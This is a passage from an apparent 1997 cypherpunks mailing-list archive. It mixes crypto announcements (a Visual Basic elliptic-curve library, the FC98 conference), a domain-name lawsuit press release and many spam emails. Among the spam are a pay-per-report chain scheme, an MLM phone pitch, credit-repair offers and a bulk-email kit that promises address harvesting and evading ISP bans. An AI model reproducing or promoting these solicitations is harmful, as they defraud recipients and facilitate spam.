The Doors Collectors Magazine has been commissioned to sell The Doors' original concert equipment including the only gold microphone that Jim Morrison ever used despite what they say at the Rock n' Roll Hall of Fame! (But that's another story for our magazine...) These lots aren't exactly for the everyday collector but if you're as big a Doors nut as I am, you might want to stop by and take a look around at:
	http://www.doors.com/StrangeDays/museum/equipment.html



	THIS IS THE END MY FRIEND... TILL NEXT TIME!

Kerry
kerry@doors.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unicorn <hvdl@sequent.com>
Date: Fri, 12 Sep 1997 03:55:35 -0700 (PDT)
To: coderpunks@toad.com
Subject: Re: your mail about Dr. Dobbs CD-ROM.
In-Reply-To: <c=US%a=_%p=EDS%l=AUADMEDS001-970911232759Z-1185@sg-energy-nt01.sg.eds.com>
Message-ID: <19970912124749.42396@sequent.com>
MIME-Version: 1.0
Content-Type: text/plain


--- On Sep 12, Garrard, David apparently wrote --------------------------------

> Has anyone gotten a copy of the Dr Dobb's Cryptography CDROM outside the
> US yet ?

Nope.  But where did you hear that it was available inside the US
already?

> David Garrard

--- and thus sprach: "Garrard, David" <David.Garrard@EXCH.EDS.com> ------------

Ciao,
Unicorn.
-- 
======= _ __,;;;/ TimeWaster ================================================
     ,;( )_, )~\| A Truly Wise Man Never Plays   PGP: 64 07 5D 4C 3F 81 22 73
    ;; //  `--;     Leapfrog With a Unicorn...        52 9D 87 08 51 AA 35 F0
==='= ;\ = | ==== Youth is not a time in life, it's a State of Mind! ========





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: xjr16terxzqn@12572.com
Date: Sat, 13 Sep 1997 18:10:04 -0700 (PDT)
To: Friend@public.com
Subject: Tip
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


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An 82-year old man comes up with novelty items like the "Good Egg" Award; a trophy with an egg on top, which he sells to manufacturers--who do all the work, and pay him a 5% royalty per sale!

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=============== Print and Mail Order Form =====================

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CA residents please add 8.25% sales tax.
All U.S. orders promptly shipped by Priority mail.

=========================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: steve@bob.com
Date: Sun, 14 Sep 1997 17:28:50 -0700 (PDT)
To: Friend@public.com
Subject: Free National Advertising!
Message-ID: <199709150019.CAA05111@isis.wu-wien.ac.at>
MIME-Version: 1.0
Content-Type: text/plain



FREE National Advertising!

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What we might want to advertise:




email the entire form to: <silvas-direct@spica.net>
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 43809380@msn.com
Date: Mon, 15 Sep 1997 00:46:12 -0700 (PDT)
To: 25789111@msn.com
Subject: WARNING - Major Investigation May Involve You
Message-ID: <Relax.delete.what.you.dont.want.an.b.happy@chicochico>
MIME-Version: 1.0
Content-Type: text/plain





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        PHONE INCLUDE AREA CODE______________________
 
        WE WILL BILL 39.95 to your account
 
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  >>> Send $39.95 ($42.85 in CA) cash, check or money order to:
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Copyright 1997 All Rights Reserved

R Jon Scott Hall Publications. 



  THIS IS NOT A  FRANK MULLEN / CYBER PRODUCTS / SPYMASTER  PUBLICATION














From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "NYT Web Customer Service" <cancel@nytimes.com>
Date: Sun, 14 Sep 1997 21:39:41 -0700 (PDT)
To: cypherpunks@toad.com
Subject: We received your mail
Message-ID: <9709150437.AA27508@mailgate.nytimes.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Subscriber:

Thank you for writing to cancel@nytimes.com. This automated response is to confirm receipt of your request to cancel. If you are an international subscriber, your subscription will be cancelled within 24 hours.  Domestic (free) subscribers please allow 3 days for the cancellation to occur.


Regards,

The New York Times on the Web
Customer Service


>From cypherpunks@toad.com  Mon Sep 15 00:37:06 1997
Received: from gatekeeper.nytimes.com by mailgate.nytimes.com; (5.65/1.1.8.2/25Jul94-1134AM) id AA23701; Mon, 15 Sep 1997 00:37:06 -0400
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Message-Id: <3.0.32.19970914233820.0099ae30@toad.com>
X-Sender: cypherpunks@toad.com (Unverified)
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Sun, 14 Sep 1997 23:38:23 -0500
To: cancel@nytimes.com
From: "cypherpunks@toad.com" <cypherpunks@toad.com>
Subject: Welcome to The New York Times on the Web
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii" 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rickmun@1stfamily.com
Date: Mon, 15 Sep 1997 04:32:13 -0700 (PDT)
To: Homeworkers
Subject: $$FREE 1997`s #1 Home Business
Message-ID: <199709151132.EAA17024@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This message is being brought to you by EMAIL BLASTER 2.5 software.  If you would like a FREE copy of this software or any of our other HOT programs ABSOLTELY FREE call our FAX ON DEMAND number at 213-960-7822.
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Mon, 15 Sep 1997 11:57:59 -0700 (PDT)
To: "'Cryptography'" <coderpunks@toad.com>
Subject: Elliptic Curve library for visual basic
Message-ID: <199709151854.LAA10149@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain


http://www.jim.com/jamesd/tools.htm

An OLE extension to visual basic, providing elliptic curve
cryptographic operations and true random numbers.

This was written for my own purposes. I wrote it because 
visual basic is the by far the fastest way of creating a 
certain kind of program with a reasonably acceptable user 
interface. However I believe it will be generally useful 
to anyone who wishes to create a cryptographic program that
manages a database, or who merely wants to get a cryptographic 
program with an attractive user interface up quickly. 
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: callback@t-1net.com
Date: Tue, 16 Sep 1997 02:51:00 -0700 (PDT)
To: callback@t-1net.com
Subject: Save up to 75% on Int'l Calling !!
Message-ID: <m0xAm2N-001DzaC@quick.we-deliver.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mzxyteq@ibm.net
Date: Mon, 15 Sep 1997 20:08:21 -0700 (PDT)
To: Mzxyteq@ibm.net
Subject: "Free" Gift!
Message-ID: <199709160307.DAA142908@out1.ibm.net>
MIME-Version: 1.0
Content-Type: text/plain


This is a one time mailing. You will receive no further E-mail.

$$$$ NEED MONEY RIGHT NOW ? $$$$

"THE MONITORED CLUB" (Started September 1, 1997) THIS IS NOT MLM!

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	A.  $5.00 to Person # 1.  Person #1 will send you report #1.
	B.  $5.00 to Person # 2.  Person #2 will send you report #2.
	C.  $5.00 to Person # 3.  Person #3 will send you report #3.
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Your Monitor Is: 
Net Promo                                                
2100 Roswell Rd.                             
Suite 200-C                                         
Marietta, GA 30062 
Office: 770.977.5363           Email: Mailserve@aol.com                        
*****************************************************************	
Membership Form: (Please fill out completely, and Print clearly).
Name:

Address:

City:

State:

Zip:

E-mail:                                          Telephone Number (optional):

Please send $5.00 to:	                         

Request report #1 from Person #1     
Anthony Thomas (ID# 118) 
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Request report #2 from Person #2      
Z. Williams (ID# 102)
8150 East Hildale  
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Request report #3 from Person #3      
Success Communication (ID# 101)
1516 Garden Lake Dr.
Riverdale, GA  30296
*****************************************************************  
Don't remove any names from the list above. The Monitor will send your master
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For more than 1,000 names, please e-mail: Mailserve@aol.com  for a price quote.

***Please, don't forget the following: 

PRINT this letter and read it TWICE for clarity.

We strongly encourage you to save this letter to your hard or disk drive 
immediately. You will use it again to do mass e-mailings.

Make sure items 1-9 (from instructions above) are in the large envelope you're 
sending to the Monitor!

Congratulations, and we'll "See You At The TOP"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Tue, 16 Sep 1997 17:35:58 -0700 (PDT)
To: "'Cryptography'" <coderpunks@toad.com>
Subject: Elliptic Curve library for visual basic
Message-ID: <199709170032.RAA02508@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain


http://www.jim.com/jamesd/tools.htm

The cryptographic extension to Visual Basic contained a gross 
error:  I hope to reissue it with a fix in a couple of days,
probably Thursday 20th of September, if all goes well.

 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 16 Sep 1997 15:07:35 -0700 (PDT)
To: Recipient List Suppressed:;
Subject: Access to Plaintext:  An Obvious Consequence
Message-ID: <v03110761b044b2f715a2@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


From: Somebody
Date: Tue, 16 Sep 1997 10:12:47 -0400 (EDT)
To: rah@shipwright.com
Subject: Access to Plaintext:  An Obvious Consequence

Bob,

If no encryption product can be sold that can't decrypt everything it
encrypts, then
no public key systems can come to market.  That would effectively eliminate
the entire range of encryption products of interest to you.

Surely, this is clear?


<Somebody's .sig>

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: qia@ans.com.au
Date: Wed, 17 Sep 1997 23:18:31 -0700 (PDT)
To: qia@ans.com.au
Subject: FREE Game Scores--Call 1(800) 833-3399  FREE
Message-ID: <199709173570GAA51917@ans.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><P ALIGN=CENTER></
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<FONT  COLOR="#000000" SIZE=10></B>
</PRE></HTML>
rs <qia@an




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 74916810@juno.com
Date: Sat, 18 Oct 1997 10:40:01 -0700 (PDT)
To: stop@1016successcredit.com
Subject: Deliverable Mail
Message-ID: <6789089932886.XCG91933@4021creditsuccess.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
/////////////////////////////////////////////////////////////////
CREDIT CENTER***CREDIT CENTER***CREDIT CENTER***CREDIT CENTER
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
If you received this electronic mailing by mistake, please pardon the
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////////////////////////////////////////////////////////////////

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/////////////////////////////////////////////////////////////////

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YES, please rush the manuals checked below:

_____   'The Fresh Start Program II' (TM)         	$34.95

_____   'WorldCard' (TM) Credit Card            	$34.95

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_____   'The Complete Credit repair Kit' (TM)   	$34.95

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_____   FAX ORDER


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////////////////////////////////////////////////////////////////

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******************************************************

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Please TAPE Your Check Here

Please SIGN Your Check

******************************************************

THANK YOU For Your Order!!!




</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sheedy, E.C.C." <E.C.C.Sheedy@research.kpn.com>
Date: Wed, 17 Sep 1997 08:05:37 -0700 (PDT)
To: "'cypherpunks@toad.com>
Subject: unsubscribing
Message-ID: <l=NTG3-970917160525Z-4395@ntl11.research.kpn.com>
MIME-Version: 1.0
Content-Type: text/plain


Apologies for the e-mail but could someone please tell me how one
unsubcribes from this list as the recent changes have messed it up.
_______________________________________________________

Kamer     :   B40
    KPN Research
Telefoon :   +31-50-5822816                                     PO Box
15000
Fax           :   +31-50-3183110                                    9700
CD Groningen
Email       :   e.c.c.sheedy@research.kpn.com       The Netherlands
________________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ceo35@concentric.net (James)
Date: Thu, 18 Sep 1997 05:15:19 -0700 (PDT)
To: V.I.P.@OnTheWeb.com
Subject: Computers at wholesale, Pentiums & AMD(k-5,k-6)
Message-ID: <199709181833PAA41174@post.att.net>
MIME-Version: 1.0
Content-Type: text/plain


For removal, please put remove on subject line and email  me at
Endless@Gosnet.com
*Don't press reply, it won't get back to me. Follow instructions
down below.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

	"FULLY CONFIGURED, NEW PENTIUM MMX - TECHNOLOGY COMPUTERS"
				-FOR SALE-

          PENTIUM-133 TO MMX-233 COMPUTER SYSTEMS AT WHOLESALE TO YOU!

Have you been looking for that one real, solid, GREAT computer buy at real 'Deal', yes!

Well then, all that you have to do is to follw this link:
It will be up thursday or friday, until then email me. Follow directions at end of page.
Http://www.gosnet.com/success/pentiums.htm

Some of the systems:

P-133 @ $685.00           MMX-P-166 @ $740.00            Pentium-2's- 233 @ $1,540.00

P-150 @ $700.00	       MMX-P-200 @ $825.00            Pentium-2's- 266 @ $1,640.00

P- 166 @ $737.00           MMX-P-233 @ $975.00

P-200 @ $809.00 

AMD
K-5/ 90 @ $585.00         K-6/ 166 @ $710.00

K-5/ 120 @ $620.00       k-6/ 200 @ $780.00

K-5/ 133 @ $632.00       k-6/ 233 @ $995.00

K-5/ 166 @ $690.00


MONITORS "14" TO "17" 
A steal of a deal on "17" monitors with a built in stereo-speaker system @ $440.00
"14" @ $220.00
"15" @ $250.00		
AND MORE!!

WINDOWS 95 @ $110.00 
ROM DRIVES 16x, 24x starting @ $89.00
Continuose read/write CD'S @ $50.00 for a 10 pack
Ethernet Cards PCI, 10Base-T/BNC @ $31.00
Soundblater 16 Model 2961 $ 65.00. ,
Mice $12.00, (serial port 3 button)
Modem - 115.20 Bps down to 14.000 Bps, fax/mode W/V @$120.00
Many more products on web page when up.
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Please include your name and phone number in your e-mail to us.
Emailto: user2384@xsend.com
We will call you to help you complete the purchase of your system. Hours 9-7pm(pacific)M-F, Sat 9-6.
Important! Please put  more info on subject line of email to us.
   	 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: xlj16twqzxy@18934.com
Date: Thu, 18 Sep 1997 10:55:24 -0700 (PDT)
To: Friend@public.com
Subject: The Truth About E-Mail Marketing
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


******************************************************
NEW  ====> ResponsEmail Marketing System
******************************************************
http://www.windansea1.com/rem.htm


Interested in Marketing Your Product or Service by Direct E-mail?

STOP chasing overhyped software, bogus mailing companies and dead ends, and get the e-mail marketing secrets of the PROS, in ONE comprehensive package!

Whatever Your Product, Service or Budget, ResponsEmail Delivers RESULTS!

INCREDIBLE DISCOUNT... Limited Time Only!


<><><> What You Get <><><>

Directory of top bulk e-mail servers and ISPs, where you can mail without losing your account. Includes secure POP accounts, CGI-scripts, web hosting, autoresponders, etc.

Reliable sources for mailing lists; how to generate your own targeted lists in real time, virtually eliminating undeliverables! Even mail to prospects while they're actually online. It simply doesn't get any more immediate than that!

Free e-mail address list consortium, where to find free Remove lists, and more!

Where to find affordable bulk mail software tailored to your budget. From free and shareware to mega-mailer clients. ResponsEmail will have you up and running in no time!

How to mail to AOL... the latest tips and strategies! How to send custom messages to AOL members, AOL hot spots for bizop and business-to-business e-mail addresses, and more!

USENET newsgroups that are safe to post ads and extract addresses

How to bulk e-mail for MAXIMUM RESULTS. E-mail is a very unique medium, and requires a unique approach. Learn how to distinguish yourself from the crowd, create rapport and gain the trust and confidence of your prospects. Write killer ads that attract an AVALANCHE of response (ResponsEmail has generated response rates as high as 70 percent!) 

One million fresh, filtered bulk e-mail hot list... a $99.95 value... FREE!

Special limited edition copy of my newly published book, "The Kitchen Table Millionaire," including PowerSecrets! Packed with inside, proven marketing strategies, information and resources!

A wealth of free resources and tips: secret e-mail marketers' organization, how to filter your mailing lists with Microsoft Excel, easy way to make banners for your Web site, reduce your Web graphics up to 90%,  and more!

***********************************************************************

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Stop wasting your valuable time and resources chasing dead ends:

ORDER NOW!


<><><> Legal Stuff <><><>

The ResponseMail E-Mail Marketing System is copyright 1997, and
is intended for the exclusive, private use of registered participants
only. Upon acceptance and registration, you must agree to sign a
Non-Disclosure Agreement upon payment of the $59.95 (U.S.)
application fee, which legally precludes you from revealing the
information contained in the ResponseMail E-Mail Marketing System
in whole or in part without expressed written permission.

As soon as you complete and return the Non-Disclosure
Agreement, you will receive the ResponseMail software, server
contact information and complete tutorial by e-mail, including
support by telephone and e-mail.

Please print, complete and rush with your payment of $59.95 to:

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La Jolla, CA 92037

**********************************************************************
[  ] Yes! I want the e-mail marketing secrets of the pros! I am
enclosing my check or money order for $59.95. Please rush
the complete ResponsEmail Marketing System, including free
1 million hot list, THE KITCHEN TABLE MILLIONAIRE and
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Name ___________________________________

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Orders are fulfilled the same day they are received.

**********************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rewards@t-1net.com
Date: Thu, 18 Sep 1997 16:46:49 -0700 (PDT)
To: rewards@t-1net.com
Subject: MOONLIGHTING BECOMES YOU.... Instan
Message-ID: <m0xBl1A-001QCfC@quick.we-deliver.net>
MIME-Version: 1.0
Content-Type: text/plain


///////////////////////////////////////////////////////////////////////////////
This Message was Composed using Extractor Pro Bulk E- Mail Software. If 
you wish to be removed from this advertiser's future mailings, please reply 
with the subject "Remove" and this software will automatically block you 
from their future mailings.
////////////////////////////////////////////////////////////////////////////////


Were sure you will agree this FREE report will reveal money manking secrets so powerful, it
could change your life forever !!!!

Its never been easier to generate profits.

Take this important FIRST STEP

For FREE DETAILS send e-mail to:     cash@answerme.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dbhait@juno.com
Date: Thu, 18 Sep 1997 11:51:53 -0700 (PDT)
To: you@yourhouse.com
Subject: >>>AN IMPORTANT MESSAGE TO PARENTS!!  PLEASE READ!!<<<
Message-ID: <199709181840.OAA29801@mail.network2.net>
MIME-Version: 1.0
Content-Type: text/plain


I love my Son!!

When he is away I want to talk to him on a regular basis.  Unfortunately, when he calls home collect
is cost me over $1.00 per minute, plus surcharges.  I would attempt the old switcho-chango, having to refuse the collect call and call him back, but that still added up to over .20 cents per minute.  Significantly cheaper, but still expensive, and a pain in the rear.

Not long ago, someone introduced me to a new long distance service!  Initially, I wanted him to go away, just like I feel about insurance salesmen, but what he had to offer was amazing!!!

1)  A 9.9 cent per minute rate, 24 hours a day, 7 days a week!
2)  An 800 or 888 number direct to my house for only $1.50 per month with the same 9.9 cent rate!
3)  A NO SURCHARGE calling card, with rates as low as 17 cents per minute!
4)  1+Long Distance Dialing so I didn't have to enter 26 additional numbers to get out!
5)  Simple Billing, right on my current phone bill
6)  Up to 40% Savings on International Calls
7)  Nearly 90% Savings on Phone Cards compared to ATT, MCI, or Sprint!!
8)  A Motorola Pager that works throughout the Entire United States!
9)  Best of All..A 100% FREE Business Opportunity where I can generate a Large Second Income!!

Well I took the offer and now my Long Distance Bills are cut in half or more!!!  And the best part is, I get to talk to my son as often as I want without worrying about how much it's going to cost me.

Now it's only 3 weeks later...I took my friends advice on the FREE BUSINESS OPPORTUNITY, and already I have 34 people signed up, and they get the same savings as me, as well as the FREE OFFER!!
And what rewards!!!  I get 2% commission on everybodies long distance bill that I refer, and that others refer.  If I tell only 3 people and they tell only 3 people, I will be earning thousands of dollars a month, every month!!

Do you have kids away at school?  Have your kids grown and moved out of state?  What about the rest of your family?  When was the last time you took a good hard look at your phone bill?

Isn't it time to start saving money?  

Whether you're interested in the business or not, I encourage you to accept this invitation!  Here's another invitation!!!  GET A FREE $10.00 PHONE CARD and test the service, it won't cost you anything. And if your interested in joining my success team, I'm going to offer you the following to help you get started!

1)  A FREE Personalized Web Page
2)  FREEDOM Bulk Emailer worth over $400.00
3)  CHECKR Software worth over $200.00
4)  A Very Large Contact List of Names
5)  A FREE Marketing Kit, including sample letters and templates
6)  One on One personalized training and support from myself (I did sign up 34 people in 3 weeks)
7)  A list of over 2000 sites on the Internet to advertise FREE or close to FREE!
8)  and Much, Much More!

If you're interested in an immediate response for more information, please respond to netbiznis@answerme.com.

If you would like me to send you more information, send me your name, address, phone number, and email address to fretel@juno.com or call me at (414) 669-3722.

Thanks for your time, and I look forward to hearing from you soon. 

Respectfully Yours,

Dan Hait
ID# AH603800
(414) 669-3722
fretel@juno.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgp@pgmedia.net (pgMedia)
Date: Thu, 18 Sep 1997 12:31:39 -0700 (PDT)
To: info@pgmedia.net
Subject: PGMedia Challenges U.S. Government's Claim	   To Control Of The Domain Name System
Message-ID: <1337528708-8726891@MediaFilter.org>
MIME-Version: 1.0
Content-Type: text/plain


Press Release
September 18, 1997


PGMedia Challenges U.S. Government's Claim
   To Control Of The Domain Name System


NEW YORK, NEW YORK:     PGMedia, Inc. d/b/a name.space(tm), the New
York-based company which sued Network Solutions, Inc. ("NSI") (the holder
of the monopoly in commercial Internet Domain Name Registrations) for
violations of U.S. antitrust laws in March of this year, has amended its
Complaint in that case to join the National Science Foundation ("NSF") as a
party-defendant.  While PGMedia steadfastly believes that the National
Science Foundation has no authority to restrict or forestall the complete
opening of the Domain Name Registration market which PGMedia seeks in its
case against NSI, over the last three months, the NSF has injected itself
into the Domain Name dispute by claiming (on behalf of the U.S. Government)
to exclusively control the Domain Name System.  The NSF has exerted this
control to prevent NSI from acquiescing in PGMedia's demand for access to
the market.  Again, PGMedia believes that the NSF possesses no such control
or authority, but even if it did, such actions have the clear effect of
limiting freedom of expression in the first and foremost avenue of speech
on the Internet -- the Domain Name.  Thus, either the NSF has no authority,
and NSI should be allowed to comply with Federal and state antitrust law in
settling with PGMedia, or the NSF must, pursuant to the First Amendment to
the U.S. Constitution, acquiesce in PGMedia's demand to unlimited and
shared Top Level Domain Names.

The name.space(tm) Service

PGMedia's name.space(tm) service(http://namespace.pgmedia.net) was launched
in August 1996 to offer Internet Domain Name Registration Services in
competition with NSI under virtually unlimited Top Level Domain names.
That is to say, while NSI has forced Internet users to register their names
under .com, .net and .org, name.space(tm) offers the full range of
expression, in virtually any language, in the top level namespace.  In
addition, and significantly, name.space(tm) claims no exclusivity with
respect to the right to register under any TLD.  Indeed, PGMedia has
developed software and code to allow multiple registries to register names
under the same TLD.  Unfortunately, until NSI changes the so-called "root
zone file" (or directory of directories) which resides on its root name
servers, the name.space(tm) top level domain names will not be universally
resolvable on the Internet.  Until NSI makes that change, only users who
have visited the name.space(tm) web page and downloaded the self-executing
application which points their browser to the name.space(tm) servers first
can use a name.space(tm) domain name.

PGMedia sues Network Solutions
to Open the Domain Name Market

In March 1997, after NSI refused PGMedia's request that reference to the
name.space(tm) name servers be added to the root zone file, PGMedia sued
NSI in Federal District Court in the Southern District of New York seeking,
among other things, to compel NSI to add the name.space(tm) TLDs and
nameservers to the root zone file.  Initially, NSI refused, claiming that
Dr. Jon Postel, of the so-called Internet Assigned Numbers Authority
("IANA"), was the only person who could add a TLD to the root zone file.
However, after several discussions with PGMedia and its counsel, NSI
proposed allowing unlimited TLDs, but only if the National Science
Foundation had no objection.  PGMedia has consistently contended that the
NSF has no more of a place in this debate than any other interested party,
and could not act to arbitrarily limit speech in the top level name space
even if it did. In June and again in August of this year, the NSF informed
NSI that the NSF controlled the root zone file, and that the NSF could not
allow NSI to comply with Federal and state antitrust laws in granting
PGMedia's reasonable request.

With today's addition of the National Science Foundation to the case, the
issue of who ultimately controls the Global Internet is squarely before a
Court of competent jurisdiction.  In addition, the arbitrary restriction by
the U.S. Government of freedom of expression in the top level name space
may soon finally come to an end.

For more information, contact: law@pgmedia.net
                                                 Or call (212) 677-4080






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 18 Sep 1997 12:46:21 -0700 (PDT)
To: Recipient List Suppressed:;
Subject: FC98 Call for Participants
Message-ID: <v0311074eb04732b76f1f@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


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C A L L   F O R   P A R T I C I P A N T S
Financial Cryptography 1998 (FC98):
The world's only financial cryptography conference, exhibition, and
workshop.


FC98 Conference
February 23-26, 1998

FC98 Exhibition
February 23-27, 1998

FC98 Financial Cryptography Workshop
March 2-6, 1998

The Inter-Island Hotel
Anguilla, BWI


Conference Reservations: <http://www.fc98.ai/>


FC98 is currently sponsored by:
- ---------------------

Offshore Information Services <http://www.offshore.com.ai/>
e$ <http://www.shipwright.com>
Hansa Bank & Trust Company Limited, Anguilla <http://www.hansa.net/>
C2NET <http://www.c2.net>

If your firm would like to sponsor FC98, please see below, and contact
Julie Rackliffe, the sponsorship manager, at <mailto: rackliffe@tcm.org>
for further information.


What is FC98?
- -------------

FC98, the world's only peer-reviewed conference on financial cryptography,
will be held Monday through Thursday, February 23-26, 1997, at the
Inter-Island Hotel on the Caribbean island of Anguilla.

In conjunction with the conference, the Inter-Island Hotel will also be
the site of an intensive 40-hour workshop for senior managers and IS
professionals the week after the conference (March 2-6), and a
concurrent exhibition of financial cryptography products and services
during the entire week of the conference itself, February 23-27.

The goals of the combined conference, workshop, and exhibition are:

- -- to provide a peer-reviewed forum for important research in financial
cryptography and the effects it will have on society,

- -- to give senior managers and IS professionals a solid understanding of
the fundamentals of strong cryptgraphy as applied to financial
operations on public networks, and,

- -- to showcase the newest products in financial cryptography.

In addition, time has been reserved in the afternoon and evening for
sponsored corporate presentations, functions and activities, and for
business
networking.

Conference participants are encouraged to bring their families.


The Conference
- --------------


Ray Hirschfeld, the conference chair, has picked an outstanding group of
professionals and researchers in financial cryptography and in related
fields to review the papers for this conference.

They are:

Chair: Rafael Hirschfeld, CWI, Amsterdam, The Netherlands
Co-Chair: Matthew Franklin, AT&T Laboratories--Research, Florham Park, NJ,
USA

Matt Blaze, AT&T Laboratories--Research, Florham Park, NJ, USA
Antoon Bosselaers, Katholieke Universiteit Leuven, Leuven, Belgium
Yves Carlier, Bank for International Settlements, Basel, Switzerland
Walter Effross, Washington College of Law, American U., Washington DC, USA
Michael Froomkin, U. Miami School of Law, Coral Gables, FL, USA
Rafael Hirschfeld, CWI, Amsterdam, The Netherlands
Alain Mayer, Bell Laboratories/Lucent Technologies, Murray Hill, NJ, USA
Moni Naor, Weizmann Institute of Science, Rehovot, Israel
Frank Trotter, Mark Twain Ecash/Mercantile Bank, St. Louis, MO, USA
Doug Tygar, Carnegie Mellon University, Pittsburgh, PA, USA
Moti Yung, CertCo LLC (formerly: Bankers Trust E-Commerce), New York, NY,
USA


The actual agenda of the conference will be determined by the papers the
program committee selects. The conference committee is selecting papers in
what it considers the union, rather than a strict intersection, of the
fields of finance and cryptography.

For last year's program please see <http://www.offshore.com.ai/fc97/>.

Original papers are being solicited on all aspects of financial data
security and digital commerce in general, including:


    Anonymous Payments                      Fungibility
    Authentication                          Home Banking
    Communication Security                  Identification
    Conditional Access                      Implementations
    Copyright Protection                    Loss Tolerance
    Credit/Debit Cards                      Loyalty Mechanisms
    Currency Exchange                       Legal Aspects
    Digital Cash                            Micropayments
    Digital Receipts                        Network Payments
    Digital Signatures                      Privacy Issues
    Economic Implications                   Regulatory Issues
    Electronic Funds Transfer               Smart Cards
    Electronic Purses                       Standards
    Electronic Voting                       Tamper Resistance
    Electronic Wallets                      Transferability

Proceedings of Financial Cryptography 1998 will be published by Springer
Verlag in their Lecture Notes in Computer Science (LNCS) series.

For further information on the submission process, please see the program
committee's web-page at <http://www.cwi.nl/conferences/FC98>.


Last year, the conference was been covered by The New York Times,
Institutional Investor, the Financial Times, Wired Magazine, NHK Japan, and
other media. In addition, financial cryptograpy and several of last year's
conference participants and sponsors were the subject of a cover story in a
September issue of Forbes Magazine.

If last year's interest in this conference is any indication, it is
probably a good idea to register for FC98 and make your plane and hotel
reservations as soon as possible, as conference, workshop, and exhibit space
is extremely limited, and we anticipate selling out all three events.

The price of a pass to the conference sessions and exhibits is US$1,000,
with discounted rates for full-time academics and students of $250 and
$100 respectively.  You can pay for your FC98 conference ticket with
Visa or MasterCard, or any of a number of other internet commerce
payment protocols, at the regstration site, <http://www.fc98.ai/>.

The price includes breakfast and lunch. Internet connectivity will also be
provided at the conference site.


The Exhibition
- --------------


The FC98 Exhibition is an exclusive trade show for financial
cryptography products and services. The trade show floor will be open
from 9:00 am to 5 pm the entire week of the conference Monday through
Friday, February 23-27. In addition, the conference facility will be
open for commercial presentations and demonstrations in the afternoons
Tuesday through Thursday, and all day on Friday. Each booth will have
high bandwidth access to the internet, and will get 3 conference passes.
Booth prices start at $5,000 US. Please contact Julie Rackliffe at
<mailto:rackliffe@tcm.org> for further information. As space is limited,
please reserve your space as soon as possible.


The Workshop
- ------------

We are again honored to have Ian Goldberg as the leader of the FC98
Financial Cryptography Workshop, which will run one week after the
conference, March 2-6, 1998.

Ian, the cryptographer at Berkeley who is now famous (in articles in the
Wall Street Journal, the New York Times, and Forbes) for breaking several
financial cryptography transaction protocols, will be running an intensive,
5-day workshop for senior managers and technology professionals.

While the workshop is still being developed, and will depend on the
skills of the planned participants, Workshop topics will include, but
not be limited to:

Overview and background of cryptography
Survey of existing and proposed Internet payment systems
Details on some specific payment systems
Issues involved in setting up a secure Internet site
A step-by-step walkthrough of setting up a digital bearer certificate mint.

Ian has recruited a strong roster of instructors with credentials
similar to his own, and, as he plans to maintain a 5-1 student/teacher
ratio, the size of the Workshop will be restricted and advance
registration will be required.

Further information about the Workshop can be found at:

<http://www.cs.berkeley.edu/~iang/fc98/workshop.html>

The planned price for the workshop is $5,000. This covers lab space,
